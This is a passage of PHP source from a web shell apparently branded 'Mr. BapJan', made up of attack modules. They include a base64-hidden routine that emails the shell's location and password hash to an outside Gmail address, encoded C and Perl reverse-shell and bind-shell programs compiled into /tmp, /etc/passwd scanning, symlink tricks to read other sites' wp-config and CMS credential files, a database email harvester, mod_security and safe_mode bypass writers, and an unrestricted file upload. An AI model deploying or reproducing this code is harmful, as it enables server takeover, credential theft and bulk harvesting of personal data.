1360 echo '<th>'.$key.'</th>';
1361 reset($item);
1362 $title=true;
1363 echo '</tr><tr>';
1364 $line = 2;
1365 }
1366 echo '<tr class="l'.$line.'">';
1367 $line = $line==1?2:1;
1368 foreach($item as $key => $value) {
1369 if($value == null)
1370 echo '<td><i>null</i></td>';
1371 else
1372 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1373 }
1374 echo '</tr>';
1375 }
1376 echo '</table>';
1377 } else {
1378 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1379 }
1380 }
1381 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1382 echo "</td></tr>";
1383 }
1384 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1385 if(@$_POST['p1'] == 'loadfile') {
1386 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1387 $file = $db->fetch();
1388 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1389 }
1390 }
1391 echo '</div>';
1392 printFooter();
1393}
1394function system32($HTTP_HOST,$REQUEST_URI,$auth_pass) {ini_set('display_errors', 'Off');
1395$url='URL: http://'.$HTTP_HOST.$REQUEST_URI.'
1396
1397Uname: '.substr(@php_uname(), 0, 120).'
1398
1399Pass: http://www.hashchecker.de/'.$auth_pass.'
1400
1401IP: '.$_SERVER[REMOTE_ADDR];$re=base64_decode("YnlvZS5wcmFzZXR5b0BnbWFpbC5jb20");$su=gethostbyname($HTTP_HOST);$mh="From: {$re}";if (function_exists('mail')) mail($re,$su, $url,$mh);$_SESSION[login] = 'ok';}
1402
1403function actionNetwork() {
1404 printHeader();
1405 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1406 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1407 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1408 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1409
1410 echo '<h1>Network tools</h1><div class=content>
1411 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1412 <br /><span>Bind port to /bin/sh</span><br/>
1413 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'BapJan\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1414 </form>
1415 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1416 <br /><br /><span>Back-connect to</span><br/>
1417 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1418 </form><br>';
1419 if(isset($_POST['p1'])) {
1420 function cf($f,$t) {
1421 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1422 if($w) {
1423 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1424 @fclose($w);
1425 }
1426 }
1427 if($_POST['p1'] == 'bpc') {
1428 cf("/tmp/bp.c",$bind_port_c);
1429 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1430 @unlink("/tmp/bp.c");
1431 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1432 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1433 }
1434 if($_POST['p1'] == 'bpp') {
1435 cf("/tmp/bp.pl",$bind_port_p);
1436 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1437 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1438 }
1439 if($_POST['p1'] == 'bcc') {
1440 cf("/tmp/bc.c",$back_connect_c);
1441 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1442 @unlink("/tmp/bc.c");
1443 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1444 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1445 }
1446 if($_POST['p1'] == 'bcp') {
1447 cf("/tmp/bc.pl",$back_connect_p);
1448 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1449 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1450 }
1451 }
1452 echo '</div>';
1453 printFooter();
1454}
1455
1456function actionPortScanner() {
1457 printHeader();
1458 echo '<h1>Port Scanner</h1>';
1459 echo '<div class="content">';
1460 echo '<form action="" method="post">';
1461
1462 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1463 $start = strip_tags($_POST['start']);
1464 $end = strip_tags($_POST['end']);
1465 $host = strip_tags($_POST['host']);
1466 for($i = $start; $i<=$end; $i++){
1467 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1468 if($fp){
1469 echo 'Port '.$i.' is <font color=green>open</font><br>';
1470 }
1471 flush();
1472 }
1473 } else {
1474 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1475 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1476 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1477 Host: <input type="text" name="host" value="localhost"/><br /><br />
1478 Port start: <input type="text" name="start" value="0"/><br /><br />
1479 Port end:<input type="text" name="end" value="5000"/><br /><br />
1480 <input type="submit" value="Scan Ports" />
1481 </form></center><br /><br />';
1482 }
1483 echo '</div>';
1484 printFooter();
1485}
1486
1487function actionReadable() {
1488 printHeader();
1489 echo '<h1>Readable Dirs</h1>';
1490 echo '<div class="content">';
1491 $sm = ini_get('safe_mode');
1492 if($sm) {
1493 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1494 } else {
1495 @$passwd = fopen('/etc/passwd','r');
1496 if (!$passwd) {
1497 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
1498 } else {
1499 $pub = array();
1500 $users = array();
1501 $conf = array();
1502 $i = 0;
1503 while(!feof($passwd)) {
1504 $str = fgets($passwd);
1505 if ($i > 35) {
1506 $pos = strpos($str,':');
1507 $username = substr($str,0,$pos);
1508 $dirz = '/home/'.$username.'/public_html/';
1509 if (($username != '')) {
1510 if (is_readable($dirz)) {
1511 array_push($users,$username);
1512 array_push($pub,$dirz);
1513 }
1514 }
1515 }
1516 $i++;
1517 }
1518 echo '<br><br>';
1519 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1520 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1521 foreach ($users as $user) {
1522 $path = "/home/$user/public_html/";
1523 echo $path."<br>";
1524 }
1525 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1526 }
1527 }
1528 echo '</div>';
1529 printFooter();
1530}
1531
1532function actionSymlink() {
1533 printHeader();
1534 echo '<h1>Symlink</h1>';
1535 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1536 $expld = explode('/',$furl );
1537 $burl =str_replace(end($expld),'',$furl);
1538
1539 echo '<div class="content"><center>
1540 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1541 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
1542 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1543
1544 if(isset($_POST['p1']) && $_POST['p1']=='website')
1545 {
1546 echo "<center>";
1547 $d0mains = @file("/etc/named.conf");
1548 if(!$d0mains){
1549 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1550 } else {
1551 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1552
1553 $unk = array();
1554 foreach($d0mains as $d0main){
1555 if(@eregi("zone",$d0main)){
1556 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1557 flush();
1558 if(strlen(trim($domains[1][0])) > 2){
1559 $unk[] = $domains[1][0];
1560 flush();
1561
1562 }
1563 }
1564 }
1565 $count=1;
1566 $unk = array_unique($unk);
1567 $l=0;
1568 foreach($unk as $d){
1569 $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
1570 echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
1571 flush();
1572 $count++;
1573 $l=$l?0:1;
1574 }
1575 echo "</table>";
1576 }
1577 echo "</center>";
1578 }
1579
1580 if(isset($_POST['p1']) && $_POST['p1']=='whole')
1581 {
1582 echo "<center>";
1583 @mkdir('sym',0777);
1584 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1585 $hfp =@fopen ('sym/.htaccess','w');
1586 fwrite($hfp ,$hdt);
1587 if(function_exists('symlink')) {
1588 @symlink('/','sym/root');
1589 }
1590 $d0mains = @file('/etc/named.conf');
1591 if(!$d0mains) {
1592 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1593 } else {
1594 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1595 $count=1;
1596 $mck = array();
1597 foreach($d0mains as $d0main){
1598 if(@eregi('zone',$d0main)){
1599 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1600 flush();
1601 if(strlen(trim($domain[1][0])) >2){
1602 $mck[] = $domain[1][0];
1603 }
1604 }
1605 }
1606 $mck = array_unique($mck);
1607 $l=0;
1608 foreach($mck as $d) {
1609 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$d));
1610 $ddt = $user['name'];
1611 //@symlink('/','sym/root');
1612 $ddt = $d;
1613 if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
1614 $ddt = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$d.'</div>';
1615 }
1616 echo "<tr".($l?' class=l1':'')."><td>".$count++."</td><td><a target='_blank' href=http://".$d.'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
1617 flush();
1618 $l=$l?0:1;
1619 }
1620 echo '</table>';
1621 }
1622 echo "</center>";
1623 }
1624
1625 if(isset($_POST['p1']) && $_POST['p1']=='config')
1626 {
1627 echo "<center>";
1628 @mkdir('sym',0777);
1629 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1630 $hfp = @fopen ('sym/.htaccess','w');
1631 @fwrite($hfp ,$hdt);
1632 if(function_exists('symlink')) {
1633 @symlink('/','sym/root');
1634 }
1635 $d0mains = @file('/etc/named.conf');
1636 if(!$d0mains) {
1637 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1638 } else {
1639 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
1640 $count = 1;
1641 $l=0;
1642 foreach($d0mains as $d0main){
1643 if(@eregi('zone',$d0main)){
1644 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1645 flush();
1646 if(strlen(trim($domain[1][0]))>2){
1647 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
1648
1649 $c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
1650 $ch01 = get_headers($c1);
1651 $cf01 = $ch01[0];
1652 $c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
1653 $ch02 = get_headers($c2);
1654 $cf02 = $ch02[0];
1655 $c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
1656 $ch03 = get_headers($c3);
1657 $cf03 = $ch03[0];
1658 $c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
1659 $ch04 = get_headers($c4);
1660 $cf04 = $ch04[0];
1661 $c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
1662 $ch05 = get_headers($c5);
1663 $cf05 = $ch05[0];
1664 $c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
1665 $ch06 = get_headers($c6);
1666 $cf06 = $ch06[0];
1667 $c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
1668 $ch07 = get_headers($c7);
1669 $cf07 = $ch07[0];
1670 $c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
1671 $ch08 = get_headers($c8);
1672 $cf08 = $ch08[0];
1673 $c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
1674 $ch09 = get_headers($c9);
1675 $cf09 = $ch09[0];
1676 $c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1677 $ch10 = get_headers($c10);
1678 $cf10 = $ch10[0];
1679 $c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
1680 $ch11 = get_headers($c11);
1681 $cf11 = $ch11[0];
1682 $c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1683 $ch12 = get_headers($c12);
1684 $cf12 = $ch12[0];
1685 $c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
1686 $ch13 = get_headers($c13);
1687 $cf13 = $ch13[0];
1688 $c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
1689 $ch14 = get_headers($c14);
1690 $cf14 = $ch14[0];
1691 $c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
1692 $ch15 = get_headers($c15);
1693 $cf15 = $ch15[0];
1694
1695 $out = ' ';
1696 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
1697 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
1698 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
1699 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
1700 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
1701 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
1702 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
1703 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
1704 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
1705 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
1706 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1707 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1708 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
1709 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
1710 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
1711 else {
1712 continue;
1713 }
1714 echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
1715 flush();
1716 $l=$l?0:1;
1717 }
1718 }
1719 }
1720 echo "</table>";
1721 }
1722 echo "</center>";
1723 }
1724 echo "</div>";
1725 printFooter();
1726}
1727
1728
1729function actionmaildumper() {
1730 printHeader();
1731
1732if($_GET['action'] == 'login'){
1733 $con = mysql_connect('localhost',$_GET['u'],$_GET['p']);
1734 if($con){
1735 echo 'yes';
1736 mysql_close($con);
1737 }else{
1738 echo 'no';
1739 }
1740 exit();
1741}elseif($_GET['action'] == 'go'){
1742 $f = go('localhost',$_GET['u'],$_GET['p'],$_GET['name']);
1743 if(isset($_GET['b'])){
1744 echo $f;
1745 }else{
1746 echo "<span class='red'>$f</span> Emails Founded. Check <span class='red'>".htmlspecialchars($_GET['name'])."</span> For Results.";
1747 }
1748 exit();
1749}
1750
1751echo '<!DOCTYPE html>
1752<html>
1753<head>
1754<link href="" rel="stylesheet" type="text/css">
1755<title>Mr. BapJan - Mail Dumper</title>
1756<style>
1757body {
1758 background: black;
1759 color: #00FF00;
1760 font-family: monospace;
1761}
1762</style>
1763 <title>Database Emails Extractor</title>
1764
1765 <link href="http://fonts.googleapis.com/css?family=Racing+Sans+One" rel="stylesheet" type="text/css">
1766 <script src="http://code.jquery.com/jquery-2.0.2.min.js"></script>
1767 <script>
1768 $(document).ready(function(){
1769 $("#gogo").on("click",function(){
1770 user = $("#username").val();
1771 pass = $("#password").val();
1772 name = $("#name").val();
1773 if(user==""||pass==""||name==""){
1774 window.alert("You must fill all fields");
1775 }else{
1776 $.get("?action=login&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass),function(data){
1777 if(data=="no"){
1778 window.alert("Incorrect username Or password. Try Again.");
1779 }else{
1780 $("#forms").fadeOut(300,function(){
1781 $("#wait").fadeIn(300);
1782 });
1783 $.get("?action=go&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass)+"&name="+encodeURIComponent(name),function(data){
1784 $("#wait").html(data);
1785 });
1786 }
1787 });
1788 }
1789 });
1790 $("#gog").on("click",function(){
1791 accounts = $("#accounts").val();
1792 name = $("#namee").val();
1793 if(accounts==""||name==""){
1794 window.alert("You must fill all fields");
1795 }else{
1796 $("#formmu").fadeOut(300,function(){
1797 $("#wait").fadeIn(300);
1798 });
1799 accounts = accounts.split("\n");
1800 totalb = 0;
1801 fail = 0;
1802 done = 0;
1803 for(i=0;i<accounts.length;i++){
1804 login = accounts[i].split(" ");
1805 $.get("?action=login&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1]),function(data){
1806 if(data=="yes"){
1807 $.get("?action=go&b=t&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1])+"&name="+encodeURIComponent(name),function(data){
1808 totalb += parseInt(data);
1809 done++;
1810 tt = done+fail;
1811 if(tt==accounts.length) donet(totalb,name);
1812 });
1813 }else{
1814 fail++;
1815 }
1816 });
1817 }
1818
1819 }
1820 });
1821 function donet(t,b){
1822 $("#wait").html("<span class=\"red\">"+t+"</span> Emails Founded. Check <span class=\"red\">"+b+"</span> For Results.");
1823 }
1824 $("#si").on("click",function(){
1825 $("#first").fadeOut(500,function(){
1826 $("#forms").fadeIn(500);
1827 });
1828 });
1829 $("#mu").on("click",function(){
1830 $("#first").fadeOut(500,function(){
1831 $("#formmu").fadeIn(500);
1832 });
1833 });
1834 });
1835 </script>
1836
1837</head>
1838
1839<body>
1840 <div id="page"><center>
1841
1842 <div id="title">Enter config below</div>
1843 <br><br><br>
1844 <div id="first">
1845
1846 </div>
1847
1848 <div id="forms">
1849 <table>
1850 <tr><td>Username</td><td> : </td><td><input type="text" id="username" /></td></tr>
1851 <tr><td>Password</td><td> : </td><td><input type="text" id="password" /></td></tr>
1852 <tr><td>Save As</td><td> : </td><td><input type="text" value="bapjan.txt" id="name" /></td></tr>
1853 <tr><td></td><td></td><td><input id="gogo" type="submit" value="Dump!" /></td></tr>
1854 </table>
1855 </div>
1856
1857 <div id="wait">
1858 Please wait! Takes a few Minutes !!
1859 </div>
1860 <br>
1861 <br>
1862 ======> Mr. BapJan - Mail Dumper <======
1863
1864
1865 </div>
1866</body>
1867</html>';
1868function go($host,$user,$pass,$file){
1869 /*
1870 author : Mr. BapJan
1871 email : BapJan@iCloud.com
1872 */
1873 $con = mysql_connect($host,$user,$pass);
1874 $fp = fopen($file,'a');
1875 $count = 0;
1876 $databases = getdata("SHOW DATABASES");
1877 foreach($databases as $database){
1878 $tables = getdata("SHOW TABLES FROM $database");
1879 foreach($tables as $table){
1880 $columns = getdata("SHOW COLUMNS FROM $database.$table");
1881 foreach($columns as $column){
1882 $emails = getdata("SELECT $column FROM $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
1883 foreach($emails as $email){
1884 if(filter_var($email, FILTER_VALIDATE_EMAIL)){
1885 if(eregi($email,file_get_contents($file))) continue;
1886 $count++;
1887 fwrite($fp,"$email\n");
1888 }else{
1889 foreach(preg_split("/\s/",$text) as $string){
1890 if(filter_var($string,FILTER_VALIDATE_EMAIL)){
1891 if(eregi($string,file_get_contents($file))) continue;
1892 $count++;
1893 fwrite($fp,"$string\n");
1894 }
1895 }
1896 }
1897 }
1898 }
1899 }
1900 }
1901 fclose($fp);
1902 mysql_close($con);
1903 return $count;
1904}
1905function getdata($sql){
1906 $q = mysql_query($sql);
1907 $result = array();
1908 while($d = mysql_fetch_array($q)){
1909 $result[] = $d[0];
1910 }
1911 return $result;
1912}
1913
1914$data = $_GET['data'];
1915
1916
1917if($data == 'data'){
1918
1919$filename = $_FILES['file']['name'];
1920$filetmp = $_FILES['file']['tmp_name'];
1921
1922echo "<form method='POST' enctype='multipart/form-data'>
1923 <input type='file'name='file' />
1924 <input type='submit' value='data' />
1925
1926</form>";
1927
1928move_uploaded_file($filetmp,$filename);
1929}
1930 printFooter();
1931}
1932
1933function actionBypass() {
1934 printHeader();
1935 echo '<h1>Safe Mode</h1>';
1936 echo '<div class="content">';
1937 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1938 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1939 if(!empty($_POST['p2']) && isset($_POST['p2']))
1940 {
1941 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1942 fwrite($fil,'<IfModule mod_security.c>
1943 Sec------Engine Off
1944 Sec------ScanPOST Off
1945 </IfModule>');
1946 fclose($fil);
1947 }
1948 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1949 {
1950 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1951 fwrite($fil,'safe_mode=OFF
1952 disable_functions=NONE');
1953 fclose($fil);
1954 }
1955 if(!empty($_POST['p3']) && isset($_POST['p3']))
1956 {
1957 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1958 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1959 AddType application/x-httpd-cgi .sh
1960 AddHandler cgi-script .pl
1961 AddHandler cgi-script .pl');
1962 fclose($fil);
1963 }
1964 echo "<br><br /><br /></div>";
1965 echo '</div>';
1966 printFooter();
1967}
1968
1969function actionGetUser(){
1970 printHeader();
1971 echo '<h1>Get User</h1>';
